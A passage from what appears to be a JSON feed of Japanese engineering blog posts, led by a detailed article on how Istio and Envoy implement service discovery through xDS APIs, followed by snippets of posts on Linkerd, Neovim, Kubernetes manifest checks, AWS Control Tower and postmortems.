で必要となり、Istioでは使いません。そのため、本記事では言及しないこととします\uD83D\uDE47\uD83C\uDFFB‍ 要素 責務 送信元マイクロサービス リクエストを送信する。 宛先マイクロサービス リクエストを受信する。 サービスレジストリ 宛先マイクロサービスの宛先情報を保管する。 ロードバランサー 宛先マイクロサービスのインスタンスにロードバランシングする。 名前解決 宛先マイクロサービスへのリクエスト送信時に、名前解決可能にする。 サービスディスカバリーのパターンサービスディスカバリーのパターンとはサービスディスカバリーの実装方法にはいくつか種類があります。Istioのサービスディスカバリーは、このうちのサーバーサイドパターンを実装したものになります。サーバーサイドパターン送信元マイクロサービスから、問い合わせとロードバランシングの責務が切り離されています。送信元マイクロサービスは、ロードバランサーにリクエストを送信します。ロードバランサーは、宛先マイクロサービスの場所をサービスレジストリに問い合わせ、またリクエストをロードバランシングする責務を担っています\uD83D\uDCAA\uD83C\uDFFB(例) Istio、Linkerd、CoreDNS、AWS ALBなどCloud Native Patterns: Designing change-tolerant software (English Edition)Pattern: Server-side service discoveryクライアントサイドパターン通信の送信元マイクロサービスは、宛先マイクロサービスの場所をサービスレジストリに問い合わせ、さらにロードバランシングする責務を担います。(例) NetflixのEureka、kube-proxyなどCloud Native Patterns: Designing change-tolerant software (English Edition)Pattern: Client-side service discoveryService Discovery in Kubernetes: Combining the Best of Two Worlds03. Istioのサービスディスカバリーの仕組みIstioが実装するサービスメッシュには、サイドカープロキシメッシュとアンビエントメッシュがあり、今回はサイドカープロキシメッシュのサービスディスカバリーを取り上げます。Istioのサービスディスカバリーは、discoveryコンテナとistio-proxyコンテナが軸となり、サーバーサイドパターンのサービスディスカバリーを実装します。全体像(1) 〜 (6) の全体像は、以下の通りです\uD83D\uDC47istio-proxyコンテナは、サービスレジストリへの問い合わせと、ロードバランシングする責務を担っていることに注目してください。(1) kube-apiserverによる宛先情報保管kube-apiserverは、Pod等の宛先情報をetcd等に保管します。これは、Kubernetesの通常の仕組みです。(2) discoveryコンテナによる宛先情報保管discoveryコンテナは、kube-apiserverからPod等の宛先情報を取得し、自身に保管します。(3) istio-proxyコンテナによる宛先情報取得istio-proxyコンテナは、discoveryコンテナからPod等の宛先情報を双方向ストリーミングRPCで取得します。(4) istio-proxyコンテナによるリクエスト受信送信元マイクロサービスがリクエストを送信します。サーバーサイドパターンでの責務通り、送信元マイクロサービスはロードバランサー (ここではistio-proxyコンテナ) にリクエストを送信します。この時、送信元マイクロサービスがistio-proxyコンテナに直接的にリクエストを送信しているというよりは、iptablesがistio-proxyコンテナにリクエストをリダイレクトします。istio-proxyコンテナこれを受信します。(5) istio-proxyコンテナによるロードバランシングistio-proxyコンテナは、リクエストをロードバランシングし、また宛先Podに送信します。Istio in ActionJimmy SongTech-赵化冰的博客 | Zhaohuabing Blogdiscoveryコンテナの仕組み全体像の中から、discoveryコンテナを詳しく見てみましょう。discoveryコンテナは、別名Istiodと呼ばれています。XDS-APIというエンドポイントを公開しており、XDS-APIのうち、サービスディスカバリーに関係するAPIは以下の通りです。今回は詳しく言及しませんが、istio-proxyコンテナがHTTPSリクエストを処理するために、証明書を配布するためのSDS-APIもあります。 APIの種類 説明 LDS-API Envoyのリスナーを取得できる。 RDS-API Envoyのルートを取得できる。 CDS-API Envoyのクラスターを取得できる。 EDS-API Envoyのエンドポイントできる。 ADS-API 各XDS-APIから取得できる宛先情報を整理して取得できる。 Istio in Action(1) kube-apiserverによる宛先情報保管kube-apiserverによる宛先情報保管 と同じです。(2) discoveryコンテナによる宛先情報保管discoveryコンテナによる宛先情報保管 と同じです。(3) istio-proxyコンテナによる宛先情報取得XDS-APIとistio-proxyコンテナの間では、gRPCの双方向ストリーミングRPCの接続が確立されています。そのため、istio-proxyコンテナからのリクエストに応じて宛先情報を返却するだけでなく、リクエストがなくとも、XDS-APIからもistio-proxyコンテナに対して宛先情報を送信します。XDS-APIのエンドポイントがいくつかあり、各エンドポイントから宛先情報を取得できます。一方で、各エンドポイントからバラバラに宛先情報を取得すると、Envoy上でこれを整理する時に、宛先情報のバージョンの不整合が起こる可能性があります。そのため、Istioは実際にはADS-APIを使用して宛先情報を取得します。istio-proxyコンテナの仕組み全体像の中から、istio-proxyコンテナを詳しく見てみましょう。Istio in ActionJimmy SongTech-赵化冰的博客 | Zhaohuabing Blog(1) kube-apiserverによる宛先情報保管kube-apiserverによる宛先情報保管 と同じです。(2) discoveryコンテナによる宛先情報保管discoveryコンテナによる宛先情報保管 と同じです。(3) istio-proxyコンテナによる宛先情報取得istio-proxyコンテナでは、pilot-agentとEnvoyが稼働しています。先ほどistio-proxyコンテナは、双方向ストリーミングRPCでADS-APIから宛先情報を取得すると説明しました。厳密にはEnvoyが、pilot-agentを介して、ADS-APIから双方向ストリーミングRPCで宛先情報を取得します。(4) istio-proxyコンテナによるリクエスト受信istio-proxyコンテナによるリクエスト受信 と同じです。(5) istio-proxyコンテナによるリクエスト受信EnvoyはADS-APIから取得した宛先情報に基づいて、宛先マイクロサービスのインスタンスにロードバランシングします。04. istio-proxyコンテナ内のEnvoyの仕組み全体像EnvoyがADS-APIから取得した宛先情報を見ていく前に、Envoyの処理の流れを解説します。istio-proxyコンテナ内のEnvoyでは、以下の仕組みでHTTPリクエストを処理します。(1) 〜 (6) の全体像は、以下の通りです\uD83D\uDC47Istio in Action (English Edition)Istio: Up and Running: Using a Service Mesh to Connect, Secure, Control, and ObserveArchitecture Analysis of Istio: The Most Popular Service Mesh Project - Alibaba Cloud Community(1) 送信元マイクロサービスからリクエスト受信istio-proxyコンテナは、送信元マイクロサービスからリクエストを受信します。(2) Envoyによるリスナー選択Envoyは、リクエストの宛先情報 (例:宛先IPアドレス、ポート番号、パス、ホストなど) に応じてリスナーを選びます。(3) Envoyによるルート選択Envoyは、リスナーに紐づくルートを選びます。▶ TCPリクエストを処理する場合についてDebugging Your Debugging Tools: What to do When Your Service Mesh Goes Down | PPT(4) Envoyによるクラスター選択Envoyは、クラスターに紐づくクラスターを選びます。(5) Envoyによるエンドポイント選択Envoyは、クラスターに紐づくエンドポイントを選びます。(6) 宛先マイクロサービスへのリクエスト送信Envoyは、エンドポイントに対応するインスタンスにリクエストを送信します。Envoyで確認した宛先情報を\uD83D\uDC46に当てはめて見ていくことにしましょう。EnvoyがADS-APIから取得した宛先情報を見てみようconfig_dumpエンドポイント実際にEnvoyに登録されている宛先情報は、istio-proxyコンテナ自体のlocalhost:15000/config_dumpからJSON形式で取得できます。もしお手元にIstioがある場合は、Envoyにどんな宛先情報が登録されているか、Envoyを冒険してみてください。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump\\" | yq -P▶ 宛先情報を見やすくするyqコマンドについてyqコマンドでYAMLに変換すると見やすくなります\uD83D\uDC4Dリスナー▼ 確認方法istio-proxyコンテナがADS-APIから取得したリスナーは、/config_dump?resource={dynamic_listeners}から確認できます。ここでは、foo-pod内でbar-podのリスナーを確認したと仮定します。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?resource={dynamic_listeners}\\" | yq -P▼ 結果以下を確認できました。宛先IPアドレスや宛先ポート番号に応じてリスナーを選べるようになっており、ここでは<任意のIPアドレス>:50002。リスナーに紐づくルートの名前configs: - \\"@type\\": type.googleapis.com/envoy.admin.v3.ListenersConfigDump.DynamicListener # リスナー名 name: 0.0.0.0_50002 active_state: version_info: 2022-11-24T12:13:05Z/468 listener: \\"@type\\": type.googleapis.com/envoy.config.listener.v3.Listener name: 0.0.0.0_50002 address: socket_address: # 受信したパケットのうちで、宛先IPアドレスでフィルタリング address: 0.0.0.0 # 受信したパケットのうちで、宛先ポート番号でフィルタリング port_value: 50002 filter_chains: - filter_chain_match: transport_protocol: raw_buffer application_protocols: - http/1.1 - h2c filters: - name: envoy.filters.network.http_connection_manager typed_config: \\"@type\\": type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager stat_prefix: outbound_0.0.0.0_50001 rds: config_source: ads: {} initial_fetch_timeout: 0s resource_api_version: V3 # 本リスナーに紐づくルートの名前 route_config_name: 50002 ... - \\"@type\\": type.googleapis.com/envoy.admin.v3.ListenersConfigDump.DynamicListener ...Administration interface — envoy 1.32.0-dev-bfa0e0 documentationConfigDump (proto) — envoy 1.32.0-dev-bfa0e0 documentationルート▼ 確認方法istio-proxyコンテナがADS-APIから取得したリスナーは、/config_dump?resource={dynamic_route_configs}から確認できます。ここでは、foo-pod内でbar-podのルートを確認したと仮定します。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?resource={dynamic_route_configs}\\" | yq -P▼ 結果コマンドを実行するとYAMLを取得でき、以下を確認できました。リスナーを取得した時に確認できたルートの名前リクエストのパスやHostヘッダーに応じてルートを選べるようになっているルートに紐づくクラスターの名前configs: - \\"@type\\": type.googleapis.com/envoy.admin.v3.RoutesConfigDump.DynamicRouteConfig version_info: 2022-11-24T12:13:05Z/468 route_config: \\"@type\\": type.googleapis.com/envoy.config.route.v3.RouteConfiguration # ルートの名前 name: 50002 virtual_hosts: - name: bar-service.bar-namespace.svc.cluster.local:50002 # ホストベースルーティング domains: - bar-service.bar-namespace.svc.cluster.local - bar-service.bar-namespace.svc.cluster.local:50002 - bar-service - bar-service:50002 - bar-service.bar-namespace.svc - bar-service.bar-namespace.svc:50002 - bar-service.bar-namespace - bar-service.bar-namespace:50002 - 172.16.0.2 - 172.16.0.2:50002 routes: - match: # パスベースルーティング prefix: / route: # 本ルートに紐づくクラスターの名前 cluster: outbound|50002|v1|bar-service.bar-namespace.svc.cluster.local timeout: 0s retry_policy: retry_on: connect-failure,refused-stream,unavailable,cancelled,retriable-status-codes num_retries: 2 retry_host_predicate: - name: envoy.retry_host_predicates.previous_hosts host_selection_retry_max_attempts: \\"5\\" retriable_status_codes: - 503 max_stream_duration: max_stream_duration: 0s grpc_timeout_header_max: 0s decorator: operation: bar-service.bar-namespace.svc.cluster.local:50002/* ... - \'@type\': type.googleapis.com/envoy.admin.v3.RoutesConfigDump.DynamicRouteConfig ...Administration interface — envoy 1.32.0-dev-bfa0e0 documentationConfigDump (proto) — envoy 1.32.0-dev-bfa0e0 documentationクラスター▼ 確認方法istio-proxyコンテナがADS-APIから取得したクラスターは、/config_dump?resource={dynamic_active_clusters}から確認できます。ここでは、foo-pod内でbar-podのクラスターを確認したと仮定します。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?resource={dynamic_active_clusters}\\" | yq -P▼ 結果コマンドを実行するとYAMLを取得でき、以下を確認できました。ルートを取得した時に確認できたクラスターの名前クラスターに紐づくエンドポイントの親名configs: - \\"@type\\": type.googleapis.com/envoy.admin.v3.ClustersConfigDump.DynamicCluster version_info: 2022-11-24T12:13:05Z/468 cluster: \\"@type\\": type.googleapis.com/envoy.config.cluster.v3.Cluster # クラスターの名前 name: outbound|50002|v1|bar-service.bar-namespace.svc.cluster.local type: EDS eds_cluster_config: eds_config: ads: {} initial_fetch_timeout: 0s resource_api_version: V3 # 本クラスターに紐づくエンドポイントの親名 service_name: outbound|50002|v1|bar-service.bar-namespace.svc.cluster.local ... - \\"@type\\": type.googleapis.com/envoy.admin.v3.ClustersConfigDump.DynamicCluster ...Administration interface — envoy 1.32.0-dev-bfa0e0 documentationConfigDump (proto) — envoy 1.32.0-dev-bfa0e0 documentationエンドポイント▼ 確認方法istio-proxyコンテナがADS-APIから取得したクラスターは、/config_dump?include_edsから確認できます。ここでは、foo-pod内でbar-podのクラスターを確認したと仮定します。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?include_eds\\" | yq -P▼ 結果コマンドを実行するとYAMLを取得でき、以下を確認できました。クラスターを取得した時に確認できたエンドポイントの親名bar-podのインスタンスが3個あるため、3個のエンドポイントがありますconfigs: dynamic_endpoint_configs: - endpoint_config: \\"@type\\": type.googleapis.com/envoy.config.endpoint.v3.ClusterLoadAssignment # エンドポイントの親名 cluster_name: outbound|50002|v1|bar-service.bar-namespace.svc.cluster.local endpoints: - locality: region: ap-northeast-1 zone: ap-northeast-1a lb_endpoints: - endpoint: address: socket_address: # 冗長化されたbar-podのIPアドレス address: 11.0.0.1 # bar-pod内のコンテナが待ち受けているポート番号 port_value: 50002 health_check_config: {} health_status: HEALTHY metadata: filter_metadata: istio: workload: bar envoy.transport_socket_match: tlsMode: istio # ロードバランシングアルゴリズムを決める数値 load_balancing_weight: 1 - locality: region: ap-northeast-1 zone: ap-northeast-1d lb_endpoints: - endpoint: address: socket_address: # 冗長化されたbar-podのIPアドレス address: 11.0.0.2 # bar-pod内のコンテナが待ち受けているポート番号 port_value: 50002 health_check_config: {} health_status: HEALTHY metadata: filter_metadata: istio: workload: bar envoy.transport_socket_match: tlsMode: istio # ロードバランシングアルゴリズムを決める数値 load_balancing_weight: 1 - locality: region: ap-northeast-1 zone: ap-northeast-1d lb_endpoints: - endpoint: address: socket_address: # 冗長化されたbar-podのIPアドレス address: 11.0.0.3 # bar-pod内のコンテナが待ち受けているポート番号 port_value: 50002 health_check_config: {} health_status: HEALTHY metadata: filter_metadata: istio: workload: bar envoy.transport_socket_match: tlsMode: istio # ロードバランシングアルゴリズムを決める数値 load_balancing_weight: 1 policy: overprovisioning_factor: 140 ... - endpoint_config: ...Administration interface — envoy 1.32.0-dev-bfa0e0 documentationConfigDump (proto) — envoy 1.32.0-dev-bfa0e0 documentation▶ Envoyの負荷分散方式についてload_balancing_weightキー値が等しい場合、EnvoyはP2Cアルゴリズムに基づいてロードバランシングします\uD83D\uDC4DEnvoyの処理の流れのまとめ確認できた宛先情報を、Envoyの処理の流れに当てはめてみました。(1) 送信元マイクロサービスからリクエスト受信送信元マイクロサービスは、宛先マイクロサービス (<任意のIP>/:50002) にリクエストを送信します。サイドカーコンテナのistio-proxyコンテナはこれを受信します。(2) Envoyによるリスナー選択Envoyは、リクエストの宛先 (IPアドレス、ポート番号、パス) からPodのリスナー (0.0.0.0_50002) を選びます。(3) Envoyによるルート選択Envoyは、リスナーに紐づくPodのルート (50002) を選びます。(4) Envoyによるクラスター選択Envoyは、クラスターに紐づくPodのクラスター (outbound|50002|v1|bar-service.bar-namespace.svc.cluster.local) を選びます。(5) Envoyによるクラスター選択Envoyは、クラスターに紐づくPodのインスタンスのエンドポイント (11.0.0.X/:50002) を選びます。(6) 宛先マイクロサービスへのリクエスト送信Envoyは、エンドポイントの宛先にPodのリクエストを送信します。サービスディスカバリーの冒険は以上です⛵05. おわりにIstioの機能の1つである『サービスディスカバリー』の仕組みを、Envoyを交えながらもりもり布教しました。愛が溢れてしまいました。Istioの機能を1つとっても、複雑な仕組みで実現していることがお分かりいただけたかと思います。Istioありがとう\uD83D\uDE4F\uD83D\uDE4F\uD83D\uDE4F謝辞3-shake SRE Tech Talk での発表前後に、以下の方々に発表内容について助言をいただきました。@ido_kara_deru さん@yosshi_ さん@yteraoka さん(アルファベット順)また、今回の 3-shake Advent Calender 2022 は、以下の方々に企画いただきました。@jigyakkuma_ さん@nwiizo さん(アルファベット順)皆様に感謝申し上げます\uD83D\uDE47\uD83C\uDFFB‍記事関連のおすすめ書籍Istio in Action (English Edition)作者:Posta, Christian E.,Maloku, RinorManningAmazonIstio: Up and Running: Using a Service Mesh to Connect, Secure, Control, and Observe作者:Calcote, Lee,Butcher, ZackO\'ReillyAmazon","isoDate":"2022-12-24T21:00:00.000Z","dateMiliSeconds":1671915600000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"Linkerdにおけるトラフィック制御","link":"https://zenn.dev/kimitsu/articles/linkerd-traffic-control","contentSnippet":"Linkerd は Kubernetes 用の軽量サービスメッシュです。複雑な設定なしにセキュリティ、可観測性、信頼性をクラスタに追加できるのが特徴とされています。また CNCF では Graduated Project としてホストされています。(ちなみにサービスメッシュのデファクトスタンダードとされている Istio は CNCF では Incubating Project です。)Linkerd の機能の 1 つにトラフィックの制御があります。これはある Pod にリクエストを投げられるのは特定の Pod だけというような制限をかけるためのものです。トラフィック制御の設...","isoDate":"2022-12-24T12:56:07.000Z","dateMiliSeconds":1671886567000,"authorName":"Yunosuke Yamada","authorId":"yyamada"},{"title":"Steam Deck に Windows を入れたい方の参考になれば...!","link":"https://qiita.com/tozastation/items/a57df36a369b5425795a","contentSnippet":"この記事は 3-shake Advent Calendar 2022 の24日目の記事です。はじめに年末、しかもクリスマスということで散財させていただきました。初めまして、戸澤といいます。日常…","isoDate":"2022-12-24T08:36:33.000Z","dateMiliSeconds":1671870993000,"authorName":"tozastation","authorId":"tozastation"},{"title":"hop.nvimで直近の検索パターンにホップ","link":"https://blog.atusy.net/2022/12/21/hop-nvim-gn/","contentSnippet":"本記事はVimアドベントカレンダー2022 その3の21日目の記事です。hop.nvimはeasymotion的な検索対象をラベル付けして、入力されたラベルの場所に飛ぶ系のプラグインです。私はこれまでfモーションの拡張としてしか使ってませんでしたが、/の代替として文字列検索に一致した箇所へホップする機能もあると気付きました。","isoDate":"2022-12-21T00:00:00.000Z","dateMiliSeconds":1671580800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"KubernetesのマニフェストをCIで検査する方針を考える","link":"https://zenn.dev/tayusa/articles/ad9fafa197888b","contentSnippet":"このエントリーは 3-shake Advent Calendar 2022 17日目の記事です。https://qiita.com/advent-calendar/2022/3-shake 概要以下の気持ちでKubernetesのマニフェストを検査するツールを選定しました。ベストプラクティスに則りたい細かなレビューの手間を省きたいセキュリティリスクを排除したい保守するのが大変なので出来るだけ自分でポリシーは書きたくない。書くとしても書きやすい方法で記述したい 検査ツールの選定以下のツールからカテゴリ別に選定することにしました。スキーマ検査kubeval...","isoDate":"2022-12-17T03:48:50.000Z","dateMiliSeconds":1671248930000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"もっと良い感じにstyler.nvimでアクティブなウィンドウか否かでカラースキームを変える","link":"https://blog.atusy.net/2022/12/17/styler-nvim-active-win/","contentSnippet":"本記事はVimアドベントカレンダー2022 その3の17日目の記事です。以前、Neovimとstyler.nvimを使ってアクティブウィンドウを目立たせる方法を紹介しました。styler.nvimでアクティブなウィンドウか否かでカラースキームを変える下図のように、注目しているウィンドウが一目瞭然なので気に入ってます。しかし、当時のコードはいくつかの課題を抱えていたので、もう少し洗練させることにしました。","isoDate":"2022-12-17T00:00:00.000Z","dateMiliSeconds":1671235200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"CloudWatch Logs のログストリームごとのサイズを取得する","link":"https://zenn.dev/toshikish/articles/684e4d7ed4532f","contentSnippet":"動機Amazon CloudWatch Logs のログストリームごとのサイズを知りたいことがありました。たとえば Amazon EKS クラスタを立ち上げて Fluentd または Fluent Bit でログを CloudWatch Logs に送る設定をすると,Pod のログは単一のロググループ(デフォルトでは /aws/containerinsights/Cluster_Name/application)に集約されます。https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/Container-Ins...","isoDate":"2022-12-16T08:57:33.000Z","dateMiliSeconds":1671181053000,"authorName":"toshikish","authorId":"toshikish"},{"title":"エンジニア市場拡大のための「憧れの職業」の重要性に関する緒論","link":"https://qiita.com/skikkh/items/21c270c7ff7a942dc5f7","contentSnippet":"はじめに今回、4年ぶりにQiitaに記事を投稿させていただく。ひょんなきっかけ^1で私は、自身が勤めるスリーシェイクのアドベントカレンダーである3-shake Advent Calendar 2…","isoDate":"2022-12-16T02:21:05.000Z","dateMiliSeconds":1671157265000,"authorName":"skikkh","authorId":"skikkh"},{"title":"impatient.nvimによるNeovim起動高速化のコツと作者の思想","link":"https://blog.atusy.net/2022/12/16/impatient-nvim/","contentSnippet":"本記事はVimアドベントカレンダー2022の16日目の記事です。lewis6991/impatient.nvimは、Luaのモジュールをバイトコードとしてキャッシュしたり、モジュールに対応するパスをキャッシュすることで、Neovimの起動を高速化します。うまく使うと作者は54ms -> 6msと10倍近くの高速化を果たしていますし、他の最適化と組み合わせて30倍速を達成した例もあります(https://zenn.dev/kawarimidoll/articles/8172a4c29a6653)。プラグインマネージャは任意で、作者はpacker.nvim、後者の例はvim-plug、本記事の筆者はvim-jetpackを使っています。","isoDate":"2022-12-16T00:00:00.000Z","dateMiliSeconds":1671148800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"⛵️ Istioのサービス間通信を実現するサービスディスカバリーの仕組み","link":"https://speakerdeck.com/hiroki_hasegawa/istioniyorusahisuteisukaharinoshi-zu-mi","contentSnippet":"『3-shake SRE Tech Talk』の登壇資料です\\r\\rIstioのサービスディスカバリーの仕組みについて、Envoyを交えながら解説しました。\\r\\rスライドでは仕組みの詳細を解説できませんでしたので、ぜひ元記事 (Istioのサービス間通信を実現するサービスディスカバリーの仕組み) も参照ください\uD83D\uDC4D\\r\\r\uD83D\uDC26 ツイート:https://x.com/Hiroki__IT/status/1603344099368570880","isoDate":"2022-12-15T05:00:00.000Z","dateMiliSeconds":1671080400000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"【Istio⛵️】\\"3-shake SRE Tech Talk\\" に登壇","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2022/12/15/025523","contentSnippet":"発表スライドから得られる知識発表スライドを見ると、以下を \\"完全に理解\\" できます✌️Istioのサービスディスカバリーの仕組みについて発表スライドから得られる知識イベント名発表スライドイベント名オッス!オラ長谷川!✋\uD83C\uDFFB『Istioのサービス間通信を実現するサービスディスカバリーの仕組み』ていうテーマで、 3-shake SRE Tech Talk に登壇したぞ!発表スライドみんな!スライドぜってぇ見てくれよな!本日の発表資料です!⛵️#SRETThttps://t.co/0MKMYVa77u— 長谷川 広樹 (地下強制労働者) (@Hiroki__IT) December 15, 2022 ちな、発表内容の詳細はこの記事をみてくれよな!","isoDate":"2022-12-15T03:00:00.000Z","dateMiliSeconds":1671073200000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"時間がない人のための AWS Solutions Architect - Professional 勉強法","link":"https://zenn.dev/toshikish/articles/06d85a2db79f4d","contentSnippet":"難度が高くしっかりとした準備が必要な AWS SA Pro 試験を申し込んだものの,残された時間があまりないという方向けに書いた勉強法の記事です。 試験の概略 特徴長文の選択式問題が75問出題され,それを180分で解くという長丁場な試験です。ざっくり1問あたり2分24秒かけられます。75問もあり,1問に複数のサービスを関連させられるので,AWS が重点的に問いたいサービス・テーマはもれなく出現します。AWS を使った2年以上の実務経験が想定されていますが,たいていの場合,実務で扱うサービスは主要なサービスに限られ,触ったこともないサービスが多く出題されます。そのため,確...","isoDate":"2022-12-12T10:46:25.000Z","dateMiliSeconds":1670841985000,"authorName":"toshikish","authorId":"toshikish"},{"title":"AWS Control Towerを調べる","link":"https://blog.masasuzu.net/entry/2022/12/10/204957","contentSnippet":"これは 3-shake Advent Calendar 2022 10日目の記事です仕事の中でAWSで複数のアカウントを管理したいという要件あり、その中でAWS Control Towerが使えないかなと調べたものをざっくりと書いていきます。AWS Control TowerとはAWS Control TowerとはLanding Zoneを実装するためのAWSのマネージドサービスです。そもそもLanding Zoneって何って話になりますね。Landing Zoneとはセキュリティとコンプライアンスのベストプラクティスに基づきアーキテクチャ設計とマルチアカウント環境を管理する仕組みを指します。Landing Zoneは、下記機能から構成されます。アカウントの発行必要な初期設定の済んだアカウントを作成管理用権限の発行対象アカウントを管理するための権限を作成AWS ログの集約監査用ログをセキュアに一元保存ガードレールの設置実施してはいけない操作の禁止危険な設定の監視Landing Zoneの実装方法AWS Control TowerAWSサービスとして提供される Landing Zoneです。容易に利用可能ですが、カスタマイズするには制限があります。(必須のガードレールを外せなかったり)主にこれからAWSを利用する場合に利用できます。既存アカウントにも適用可能です。独自実装の Landing Zone自組織で独自実装するパターンです。自組織の方針に従って自由にカスタマイズできるのが強みです。ただし、自由にカスタマイズはできますが、自身でメンテナンスしないといけないので、コストはかかります。主に既存アカウントに適用する場合に利用できます。自組織でアカウント発行の仕組みや管理の仕組みができあがってる場合などです。そもそもなんでマルチアカウントにするのかAWSをマルチアカウントにする観点として以下のものが考えられます。環境の分離開発、テスト、本番を分離することによるセキュリティおよび統制の確保請求の分離部門やシステム単位でのコスト明確化権限の分離部門間での権限分離およびアカウントへの権限移譲複雑性の分離アカウントの目的を明確に絞ることで、構成がシンプルになるAWS Organizationsだけでもできることマルチアカウント管理するだけならOrganizationだけでもある程度はできます。むしろAWS Control TowerはOrganizationの機能を利用しています。複数AWSアカウントの一元管理Organization Unit(OU)の作成複数アカウントのグルーピング化AWSアカウントの発行Service Control Policyの作成、OUへの適用複数アカウントの一括請求AWS Control Towerだと何ができるのかControl Towerで提供される機能として以下のものがあります。Landing Zoneの提供AWS Organizationを使用してマルチアカウントを作成デフォルトでSandbox、SecurityのOUを作成AWS IAM アイデンティティセンターを利用したID管理を提供Account FactoryAWSアカウントのプロビジョニングの自動化設定可能なテンプレートを提供CloudTrailとConfigログの保存Log Archiveアカウント内のS3バケットに一元的に保存されるガードレールの提供必須と任意の観点の2種類と予防的と発見的の2種類の組み合わせがありControl Towerにより管理下のアカウントに適用される参考: ガードレールの仕組み予防的ガードレール(Service Control Policy)禁止されたアクションの実行が拒否される仕組みControl Tower管理下のアカウントは必須の予防的ガードレールで禁止されているアクションが不可能発見的ガードレール(Config)特定のイベントが発生したときにCloudTrailに記録される仕組みダッシュボードOUやアカウント、ガードレール違反などが一覧表示できるAWS Control TowerではできないことAWS Control Towerでは提供されてない機能もあります。GuardDutyやSecurity Hubなどのセキュリティ機能を組織全体適用するにはOrganizationsの機能を利用する必要があります。AWS Control Towerの注意点、制約事項いろいろ資料を見てみてこの辺注意が必要かなという点を書いていきます。注意点既存アカウントの Control Tower への受入処理時にエラーになった場合、スタックセット内で自動実行される作業の一部手作業が必要になる参考:トラブルシューティング - AWS Control Tower独自ガードレールの追加は可能だが、容易ではない。必須ガードレールを外せない参考:必須のガードレール - AWS Control Tower各種セキュリティー機能は自動で有効化されないため、Control Towerの範囲外のセキュリティ機能は Control Tower の機能の外で管理が必要になる範囲内の機能: Config, CloudTrail, SCP範囲外の機能: GuardDuty, Security Hub, IAM Access Analyzer, DetectiveControl Tower 未対応リージョンを使用している場合、Control Tower適用リージョンと適用外リージョンが混在して管理が煩雑になる大阪リージョン未対応なのでマルチリージョンを考えるときに注意Control Towerはマネージドサービスであるが追加機能によっては手動バージョンアップ が必要になるケースがある参考: ランディングゾーンを更新する - AWS Control Tower参考: 更新について - AWS Control Towerログアーカイブアカウントで独自のログバケットを作成可能だが、非推奨参考: ランディングゾーンのセットアップに関する管理上のヒントリージョンの使用を制限する SCP の併用に注意が必要参考: AWS Control Tower リソースの作成および変更に関するガイダンスIaC との境界の検討が必要アカウント発行に関してはControl Tower(Account Factory)で手動で行い、その後のアカウント設定はTerraformで行うなどAccount Factory for Terraformを利用することでAWSアカウント発行は可能参考: AWS Control Tower Account Factory for Terraform によるアカウントのプロビジョニングどこまでTerraformで対応するかは別途検討が必要制限とクォータS3へのログの保存期間は、最大15年間保存可能(最近アップデートされた)Security OU の共有アカウントの E メールアドレスは変更可能だが、これらの変更を AWS Control Tower コンソールで確認するには、Landing Zone を更新する必要があるAWS Control Tower Landing zone の OU には、OU あたり5個のSCPの制限が適用される300超のアカウントを持つ既存の OU は、AWS Control Tower に登録することはできない300を超える場合はOUを分ける必要があるOUのネストは2段階まで、孫OUを持つことはできない参考: AWS Organizations における組織単位のベストプラクティスAWS Control Towerを使うべきなのかマルチアカウントを展開していくのであれば、AWSのベストプラクティスに乗れるので、使用するのが無難です。ただし、独自のLanding Zoneをすでに構築しており、Account Factoryの仕組みも独自で構築できているのであれば、移行コストを鑑みてそのままでも問題ないです。必須の予防的ガードレールが許容できない、OUなどの制限にひっかるなどの運用上の制約がある場合は使えないので、組織のポリシーを見直すか、独自でLanding Zoneを作るかを考える必要があります。発展もっと調査したかったが、時間が足りなかったことや今後調べたいことです。コンソールからAccount Factory実行するとService Catalogの設定項目がありますが、Service Catalog自体の理解不足でどう扱うのかが把握できてないのでこの辺調べたいです。Account Factory for Terraform(AFT)を使うとアカウント発行そのものもIaC化できるので試したい。参考: AWS Control Tower Account Factory for Terraform によるアカウントのプロビジョニング参考: ついにControl Towerのアカウント発行からカスタマイズまでIaC対応!Account Factory for Terraform (AFT)が新登場 #reinvent | DevelopersIOCustomization for Control Tower(CfCT)を使うとアカウント発行のイベントをトリガーにCloudFormationを実行できるので、これも実験したい。参考: AWS Control Tower のカスタマイズ (CfCT) の概要 - AWS Control Tower参考: Control Towerカスタマイズソリューション(CfCT)を使ってガードレールとCloudFormationを自動展開してみた | DevelopersIOまとめControl Towerについて調べたことを書いていきました。実運用自体はまだしてないので、これから触ってみて知見が溜まってきたらまたそれも共有できたらと思います。","isoDate":"2022-12-10T11:49:57.000Z","dateMiliSeconds":1670672997000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"インシデント対応しながら書くポストモーテム","link":"https://zenn.dev/toshikish/articles/1d5bcf9ed1939d","contentSnippet":"このエントリーは 3-shake Advent Calendar 2022 8日目の記事です。サービスにおいてインシデントが発生した場合に書くポストモーテムについて,書く負担を減らせるようなテンプレートを提案します。 ポストモーテムのテンプレートポストモーテムのテンプレートは,例えば以下のようなものが公開されています。 Google SREhttps://sre.google/sre-book/example-postmortem/タイトル・インシデント 